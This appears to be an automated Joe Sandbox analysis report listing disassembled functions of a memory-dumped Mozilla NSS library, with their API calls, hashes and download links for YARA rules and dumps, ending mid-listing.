Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: DD2198B46002469BF7009F15DC50F6ABBADFF4979CF148128D81987782E775D814CF91

Function 6CBF2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF2E08

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CBF2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CBF2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBF2E95

Part of subcall function 6CBE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB888A4,00000000,00000000), ref: 6CBE1228
Part of subcall function 6CBE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBE1238
Part of subcall function 6CBE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB888A4,00000000,00000000), ref: 6CBE124B
Part of subcall function 6CBE1200: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0,00000000,00000000,00000000,?,6CB888A4,00000000,00000000), ref: 6CBE125D
Part of subcall function 6CBE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBE126F
Part of subcall function 6CBE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBE1280
Part of subcall function 6CBE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBE128E
Part of subcall function 6CBE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBE129A
Part of subcall function 6CBE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBE12A1

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a2bbb6b13b21c993d90c444d4b4eb1c92e2b5652af182f78b64924cc67e4b143
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: E52104B1D003C14BEB00CF549D44BAE3764AF9574CF350269DD285B742F7B1E6998293

Function 6CBAACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CBAACC2

Part of subcall function 6CB82F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB82F0A
Part of subcall function 6CB82F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB82F1D

Part of subcall function 6CB82AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB80A1B,00000000), ref: 6CB82AF0
Part of subcall function 6CB82AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB82B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CBAAD5E

Part of subcall function 6CBC57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB8B41E,00000000,00000000,?,00000000,?,6CB8B41E,00000000,00000000,00000001,?), ref: 6CBC57E0
Part of subcall function 6CBC57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CBC5843

CERT_DestroyCertList.NSS3(?), ref: 6CBAAD36

Part of subcall function 6CB82F50: CERT_DestroyCertificate.NSS3(?), ref: 6CB82F65
Part of subcall function 6CB82F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB82F83

free.MOZGLUE(?), ref: 6CBAAD4F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 2293cac1dbbc8527bdd7313120561bc515799c59785df38e6f8e87da281bdb9d
Instruction ID: dce0ab289563cf51c484e59be82645fe5ae6b130123dc9d73967cc26e264bb3b
Opcode Fuzzy Hash: 2293cac1dbbc8527bdd7313120561bc515799c59785df38e6f8e87da281bdb9d
Instruction Fuzzy Hash: F12193B1D012549BEB10DFA4D9055EEB7B4EF05218F454069D885BB600FB31AA5ACFB2

Function 6CBD3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBD3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CBD3CAE
PR_Unlock.NSS3(?), ref: 6CBD3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CBD3D02

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: fd76d0ada1883c4a91b33d8c929907d964bbdec50650f9abb8ce6b65aad95971
Instruction ID: 3c5f29c7599e0f9e7e1d96e1247f45831bb2dd68e964b00a926a6172f6f525ce
Opcode Fuzzy Hash: fd76d0ada1883c4a91b33d8c929907d964bbdec50650f9abb8ce6b65aad95971
Instruction Fuzzy Hash: 6311D675A00254AFDB00DF24EC44A9A3778EF09368F594160ED0487712E731ED54CBE1

Function 6CBDECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CBDF0AD,6CBDF150,?,6CBDF150,?,?,?), ref: 6CBDECBA

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CBDECD1

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CBDED02

Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CBDED5A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a26de4b6ec7e0af674cc0cea1c04df14ce3981fcf948c358a2c3f8eaeca902b6
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 9821A4B19007D25BE700CF25D944B5AB7E4FFA9348F26C21AE81C87662EB70E594C6D1

Function 6CC0EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EE14

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

memcpy.VCRUNTIME140(?,?,6CBF9767,00000000,00000000,6CBF7FFA,?,6CBF9767,?,8B7874C0,0000A48E), ref: 6CC0EE33

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 4947256adb616ff4401429aa3720d9864ab37cd1fc39a96a67558d937cc550c9
Instruction ID: 58deb1ca25e7708384a7c5089c7d79287df737943759c9539eb1e1e5f3e82446
Opcode Fuzzy Hash: 4947256adb616ff4401429aa3720d9864ab37cd1fc39a96a67558d937cc550c9
Instruction Fuzzy Hash: D511E9B1B4470AABEB109E65DC84B06B3A8FF0435CF204539E969C6A00F732F464C7E1

Function 6CB8DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CBA06A0: TlsGetValue.KERNEL32 ref: 6CBA06C2
Part of subcall function 6CBA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CBA06D6
Part of subcall function 6CBA06A0: PR_Unlock.NSS3 ref: 6CBA06EB

CERT_NewCertList.NSS3 ref: 6CB8DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CB8DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CB8DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB8E029

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 4eb31c5342b8b9bda0c9c0818748263c07a0d7c496c1b383cd2f7f624d3cf1e0
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: C1116B75A022C6ABEB110EA85C01BAF76BCEF8035CF040939E818C7B00F732C81492E2

Function 6CBA8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBA8DE7
EnterCriticalSection.KERNEL32 ref: 6CBA8DFC
PR_Unlock.NSS3 ref: 6CBA8E2D
PR_SetError.NSS3 ref: 6CBA8E49

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 95f69836d59c54aa830266790129f2f4738883365968be6b25b718555dc9b241
Instruction ID: aebc5b81ca5321145d8972d8c39a9c673c49730d6038ffc037eae88242f15080
Opcode Fuzzy Hash: 95f69836d59c54aa830266790129f2f4738883365968be6b25b718555dc9b241
Instruction Fuzzy Hash: 61115E71A09A509FD700AF78D4885AABBF4FF09314F01496ADC88D7B00EB35E895CBD2

Function 6CC2AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CC15F17,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CC15F17,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CC1AAD4), ref: 6CC2ACDB

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: ff580ee5f94ca903e1e4ad46de8b8922a151366b08041f724b9f349912d925c4
Instruction ID: 5ef1c80e0551de2cd88a8d9faec044a23205f086c95dc05220504b8bfce4dd32
Opcode Fuzzy Hash: ff580ee5f94ca903e1e4ad46de8b8922a151366b08041f724b9f349912d925c4
Instruction Fuzzy Hash: 58018CB5A01B119BE710DF29D908747B7E8BF40699B104839D85EC3A00EB35F054CB91

Function 6CB91DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CB91DFB

Part of subcall function 6CB895B0: TlsGetValue.KERNEL32(00000000,?,6CBA00D2,00000000), ref: 6CB895D2
Part of subcall function 6CB895B0: EnterCriticalSection.KERNEL32(?,?,?,6CBA00D2,00000000), ref: 6CB895E7
Part of subcall function 6CB895B0: PR_Unlock.NSS3(?,?,?,?,6CBA00D2,00000000), ref: 6CB89605

PR_EnterMonitor.NSS3 ref: 6CB91E09

Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490AB
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC490C9
Part of subcall function 6CC49090: EnterCriticalSection.KERNEL32 ref: 6CC490E5
Part of subcall function 6CC49090: TlsGetValue.KERNEL32 ref: 6CC49116
Part of subcall function 6CC49090: LeaveCriticalSection.KERNEL32 ref: 6CC4913F

Part of subcall function 6CB8E190: PR_EnterMonitor.NSS3(?,?,6CB8E175), ref: 6CB8E19C
Part of subcall function 6CB8E190: PR_EnterMonitor.NSS3(6CB8E175), ref: 6CB8E1AA
Part of subcall function 6CB8E190: PR_ExitMonitor.NSS3 ref: 6CB8E208
Part of subcall function 6CB8E190: PL_HashTableRemove.NSS3(?), ref: 6CB8E219
Part of subcall function 6CB8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB8E231
Part of subcall function 6CB8E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB8E249
Part of subcall function 6CB8E190: PR_ExitMonitor.NSS3 ref: 6CB8E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB91E37
PR_ExitMonitor.NSS3 ref: 6CB91E4A

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: c85c00848414e8b5169f9267ec92f15fe88845aa02b1955561fc3c59d7a9619b
Instruction ID: 8d81e14bbef6b662a883fd6239501d24d1e30056ba36f30d0f222c71bea6747e
Opcode Fuzzy Hash: c85c00848414e8b5169f9267ec92f15fe88845aa02b1955561fc3c59d7a9619b
Instruction Fuzzy Hash: 33018F71B416D097EB009B69EC00F5677B8AB47B48F184031E91997B91FB31E814EBD6

Function 6CB91D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB91D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB91D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CB91D9C
free.MOZGLUE(00000000), ref: 6CB91DB8

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 16dbd168b64fce67f138e84cb2f6d444991dd39ff65d085876640382822b5713
Instruction ID: 1a9aa771884eafbe5614fc24c5507180b1ddbf237512d3d06be7771f87b7d100
Opcode Fuzzy Hash: 16dbd168b64fce67f138e84cb2f6d444991dd39ff65d085876640382822b5713
Instruction Fuzzy Hash: BDF049B26412F057FB101F5EAC41B47325CDF82B88F1842B5DD0C47B10DB20E80092E2

Function 6CC2AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CC15D40,00000000,?,?,6CC06AC6,6CC1639C), ref: 6CC2AC2D

Part of subcall function 6CBCADC0: TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE10
Part of subcall function 6CBCADC0: EnterCriticalSection.KERNEL32(?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE24
Part of subcall function 6CBCADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CBAD079,00000000,00000001), ref: 6CBCAE5A
Part of subcall function 6CBCADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE6F
Part of subcall function 6CBCADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAE7F
Part of subcall function 6CBCADC0: TlsGetValue.KERNEL32(?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEB1
Part of subcall function 6CBCADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CBACDBB,?,6CBAD079,00000000,00000001), ref: 6CBCAEC9

PK11_FreeSymKey.NSS3(?,6CC15D40,00000000,?,?,6CC06AC6,6CC1639C), ref: 6CC2AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CC15D40,00000000,?,?,6CC06AC6,6CC1639C), ref: 6CC2AC59
free.MOZGLUE(8CB6FF01,6CC06AC6,6CC1639C,?,?,?,?,?,?,?,?,?,6CC15D40,00000000,?,6CC1AAD4), ref: 6CC2AC62

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 00319baf87b872b4d53799228b0164ac791d417a20b2874ee88631cac5740ef5
Instruction ID: 7a1393e9472f59657a9a9d1dd7347efad32d727e98bcd9d347325dda2f2a3a94
Opcode Fuzzy Hash: 00319baf87b872b4d53799228b0164ac791d417a20b2874ee88631cac5740ef5
Instruction Fuzzy Hash: 7A014FB5A002109FDB00DF15E8C0B4677A8AF44B5CF1880A8E9498F706E735E844CBA2

Function 6CBDFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB89003,?), ref: 6CBDFD91

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PORT_Alloc_Util.NSS3(A4686CBE,?), ref: 6CBDFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBE,?,?), ref: 6CBDFDC4
free.MOZGLUE(00000000,?,?), ref: 6CBDFDD1

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 8ebfb131d4925eb7a821b2a84d3b95ab02453bfc98576916f0f10addd4ddc395
Instruction ID: 6969ab541b0b855dd7da2b6a351f1a83fb8c242dba63b2ba1d885deebee6486b
Opcode Fuzzy Hash: 8ebfb131d4925eb7a821b2a84d3b95ab02453bfc98576916f0f10addd4ddc395
Instruction Fuzzy Hash: 75F0C8B5A052965BEB005F95EC809177768FF94699B158034ED0D8BB01EB31E815C7E2

Function 6CC9CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CC9CC61
free.MOZGLUE ref: 6CC9CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CC9CC80
